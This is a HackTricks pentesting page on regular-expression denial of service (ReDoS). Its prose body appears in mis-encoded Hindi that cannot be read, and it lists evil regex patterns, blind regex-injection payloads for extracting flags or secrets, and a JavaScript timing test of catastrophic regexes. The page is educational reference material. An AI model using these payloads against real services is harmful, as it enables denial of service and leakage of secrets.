hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

105 lines
8.3 KiB
Markdown

# Regular expression Denial of Service - ReDoS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Regular Expression Denial of Service (ReDoS)
рдПрдХ **Regular Expression Denial of Service (ReDoS)** рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ (рдкрд╛рда рдореЗрдВ рдкреИрдЯрд░реНрди рдЦреЛрдЬрдиреЗ рдФрд░ рдореЗрд▓ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛) рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред рдХрднреА-рдХрднреА, рдЬрдм рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╡реЗ рдмрд╣реБрдд рдзреАрдореА рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрджрд┐ рд╡реЗ рдЬрд┐рд╕ рдкрд╛рда рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд░рд╣реА рд╣реИрдВ рд╡рд╣ рдмрдбрд╝рд╛ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдзреАрдорд╛рдкрди рдЗрддрдирд╛ рдмреБрд░рд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдкрд╛рда рдХреЗ рдЖрдХрд╛рд░ рдореЗрдВ рдЫреЛрдЯреЗ-рдЫреЛрдЯреЗ рдмрдврд╝реЛрддрд░реА рдХреЗ рд╕рд╛рде рддреЗрдЬреА рд╕реЗ рдмрдврд╝рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдРрд╕рд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд▓рдВрдмреЗ рд╕рдордп рддрдХ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджреЗрддрд╛ рд╣реИред
## The Problematic Regex Na├пve Algorithm
**Check the details in [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>
рдПрдХ рдмреБрд░реА рдирд┐рдпрдорд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдкреИрдЯрд░реНрди рд╡рд╣ рд╣реИ рдЬреЛ **рдирд┐рд░реНрдорд┐рдд рдЗрдирдкреБрдЯ рдкрд░ рдЕрдЯрдХ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ DoS рд╣реЛрддрд╛ рд╣реИ**ред рдмреБрд░реА regex рдкреИрдЯрд░реНрди рдЖрдорддреМрд░ рдкрд░ рд╕рдореВрд╣ рдХреЗ рд╕рд╛рде рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдФрд░ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдпрд╛ рд╡реИрдХрд▓реНрдкрд┐рдХрддрд╛ рдХреЗ рд╕рд╛рде рдУрд╡рд░рд▓реИрдкрд┐рдВрдЧ рдХреЗ рд╕рд╛рде рд╣реЛрддреА рд╣реИрдВред рдмреБрд░реА рдкреИрдЯрд░реНрди рдХреЗ рдХреБрдЫ рдЙрджрд╛рд╣рд░рдг рд╣реИрдВ:
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} for x > 10
рдпреЗ рд╕рднреА рдЗрдирдкреБрдЯ `aaaaaaaaaaaaaaaaaaaaaaaa!` рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВред
## ReDoS Payloads
### String Exfiltration via ReDoS
рдПрдХ CTF (рдпрд╛ рдмрдЧ рдмрд╛рдЙрдВрдЯреА) рдореЗрдВ, рд╢рд╛рдпрдж рдЖрдк **Regex рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА (рдзреНрд╡рдЬ) рдореЗрд▓ рдЦрд╛рддреА рд╣реИ**ред рдлрд┐рд░, рдпрджрд┐ рдПрдХ **Regex рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ** рдФрд░ **рдпрджрд┐ рдпрд╣ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддрд╛ рд╣реИ рддреЛ рдирд╣реАрдВ** рддреЛ **рдкреГрд╖реНрда рдХреЛ рдлреНрд░реАрдЬ (рдЯрд╛рдЗрдордЖрдЙрдЯ рдпрд╛ рд▓рдВрдмреЗ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рд╕рдордп)** рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдЖрдк **рдПрдХ-рдПрдХ рдХрд░рдХреЗ** рд╕реНрдЯреНрд░рд┐рдВрдЧ **рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ**:
* In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=<flag>)((.*)*)*salt$`
* Example: `^(?=HTB{sOmE_fl┬зN┬з)((.*)*)*salt$`
* In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`<flag>(((((((.*)*)*)*)*)*)*)!`
* In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS Controlling Input and Regex
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд **ReDoS** рдЙрджрд╛рд╣рд░рдг рд╣реИрдВ рдЬрд╣рд╛рдБ рдЖрдк **рдЗрдирдкреБрдЯ** рдФрд░ **regex** рджреЛрдиреЛрдВ рдХреЛ **рдирд┐рдпрдВрддреНрд░рд┐рдд** рдХрд░рддреЗ рд╣реИрдВ:
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Tools
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
## References
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{% hint style="success" %}
рд╕реАрдЦреЗрдВ рдФрд░ AWS рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
рд╕реАрдЦреЗрдВ рдФрд░ GCP рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ</summary>
* [**рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ**](https://github.com/sponsors/carlospolop) рджреЗрдЦреЗрдВ!
* **рд╣рдорд╛рд░реЗ** ЁЯТм [**Discord рд╕рдореВрд╣**](https://discord.gg/hRep4RUj7f) рдпрд╛ [**telegram рд╕рдореВрд╣**](https://t.me/peass) рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ **Twitter** ЁЯРж рдкрд░ рд╣рдореЗрдВ **рдлреЙрд▓реЛ** рдХрд░реЗрдВ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ [**HackTricks**](https://github.com/carlospolop/hacktricks) рдФрд░ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред
</details>
{% endhint %}